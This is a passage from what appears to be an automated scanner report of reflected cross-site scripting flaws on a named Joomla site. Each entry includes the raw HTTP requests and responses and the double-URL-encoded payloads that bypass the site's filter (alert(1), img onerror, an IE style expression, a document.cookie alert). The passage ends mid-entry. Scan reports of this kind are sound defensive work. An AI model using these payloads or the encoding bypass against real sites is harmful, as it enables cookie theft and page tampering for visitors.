GET /media/system/css/8a109%2522%253e%253cx%2520style%253dx%253aexpression%2528alert%25281%2529%2529%253e856555f93b0 HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:27:01 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17288
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/media/system/css/8a109"><x style=x:expression(alert(1))>856555f93b0" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6bc82%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25224686791049c was submitted in the REST URL parameter 4. This input was echoed as 6bc82"style="x:expression(alert(1))"4686791049c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /media/system/js/6bc82%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25224686791049c HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:26:44 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 16237
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/media/system/js/6bc82"style="x:expression(alert(1))"4686791049c" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7407b%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ea1b078a95ed was submitted in the REST URL parameter 4. This input was echoed as 7407b"><img src=a onerror=alert(1)>a1b078a95ed in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /media/system/js/7407b%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ea1b078a95ed HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:27:47 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 13586
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/media/system/js/7407b"><img src=a onerror=alert(1)>a1b078a95ed" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 251c1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e1dd9a4d1eed was submitted in the REST URL parameter 1. This input was echoed as 251c1"><img src=a onerror=alert(1)>1dd9a4d1eed in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /251c1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e1dd9a4d1eed HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:24 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13448
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/251c1"><img src=a onerror=alert(1)>1dd9a4d1eed" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6d5f%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ed51118b6c59 was submitted in the REST URL parameter 1. This input was echoed as d6d5f"><img src=a onerror=alert(1)>d51118b6c59 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /d6d5f%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ed51118b6c59 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:44 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13444
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/d6d5f"><img src=a onerror=alert(1)>d51118b6c59" /> ...[SNIP]...
4.1235. http://www.lithuanianjoomla.com/saugi-joomla.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.lithuanianjoomla.com
Path:
/saugi-joomla.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80ed3%2522%253e%253ca%253e48472f1e3b7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 80ed3"><a>48472f1e3b7 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /saugi-joomla.html?80ed3%2522%253e%253ca%253e48472f1e3b7=1 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:27 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 14438
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24162%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0f837d9381b was submitted in the REST URL parameter 1. This input was echoed as 24162"><script>alert(1)</script>0f837d9381b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /saugi-joomla24162%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0f837d9381b/75-kas-yra-saugus-patikimas-pilnas-joomla-turinio-valdymo-sistemos-paketas.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:40 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 17752
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/saugi-joomla24162"><script>alert(1)</script>0f837d9381b/75-kas-yra-saugus-patikimas-pilnas-joomla-turinio-valdymo-sistemos-paketas.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ebcd%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253eb333f069742 was submitted in the REST URL parameter 2. This input was echoed as 5ebcd"><img src=a onerror=alert(1)>b333f069742 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /saugi-joomla/5ebcd%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253eb333f069742 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:23 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 17490
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/saugi-joomla/5ebcd"><img src=a onerror=alert(1)>b333f069742" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1569d%2522%253e%253ca%2520b%253dc%253eae4191a6da8 was submitted in the REST URL parameter 4. This input was echoed as 1569d"><a b=c>ae4191a6da8 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /templates/beez_20/css/1569d%2522%253e%253ca%2520b%253dc%253eae4191a6da8 HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:26:26 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 13571
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/templates/beez_20/css/1569d"><a b=c>ae4191a6da8" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d7e0%2522a%253d%2522b%252267286fd9055 was submitted in the REST URL parameter 4. This input was echoed as 5d7e0"a="b"67286fd9055 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /templates/beez_20/css/5d7e0%2522a%253d%2522b%252267286fd9055 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:22 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 19072
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/templates/beez_20/css/5d7e0"a="b"67286fd9055" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 810eb%2522%253e%253cx%2520style%253dx%253aexpression%2528alert%25281%2529%2529%253ef5ac2d2bb51 was submitted in the REST URL parameter 4. This input was echoed as 810eb"><x style=x:expression(alert(1))>f5ac2d2bb51 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /templates/beez_20/css/810eb%2522%253e%253cx%2520style%253dx%253aexpression%2528alert%25281%2529%2529%253ef5ac2d2bb51 HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:26:25 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 13596
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/templates/beez_20/css/810eb"><x style=x:expression(alert(1))>f5ac2d2bb51" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31940%2522%253e%253cx%2520style%253dx%253aexpression%2528alert%25281%2529%2529%253eece9984528c was submitted in the REST URL parameter 4. This input was echoed as 31940"><x style=x:expression(alert(1))>ece9984528c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /templates/beez_20/css/31940%2522%253e%253cx%2520style%253dx%253aexpression%2528alert%25281%2529%2529%253eece9984528c HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:26:39 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 13596
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/templates/beez_20/css/31940"><x style=x:expression(alert(1))>ece9984528c" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99a52%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e492a0e0082e was submitted in the REST URL parameter 4. This input was echoed as 99a52"><img src=a onerror=alert(1)>492a0e0082e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /templates/beez_20/css/99a52%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e492a0e0082e HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:26:31 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 13588
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/templates/beez_20/css/99a52"><img src=a onerror=alert(1)>492a0e0082e" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5411f%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e9ac2645424 was submitted in the REST URL parameter 4. This input was echoed as 5411f"><img src=a onerror=alert(1)>9ac2645424 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /templates/beez_20/css/5411f%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e9ac2645424 HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:26:05 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 13591
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/templates/beez_20/css/5411f"><img src=a onerror=alert(1)>9ac2645424" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5eb32%2522a%253d%2522b%25225278668874e was submitted in the REST URL parameter 4. This input was echoed as 5eb32"a="b"5278668874e in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /templates/beez_20/javascript/5eb32%2522a%253d%2522b%25225278668874e HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
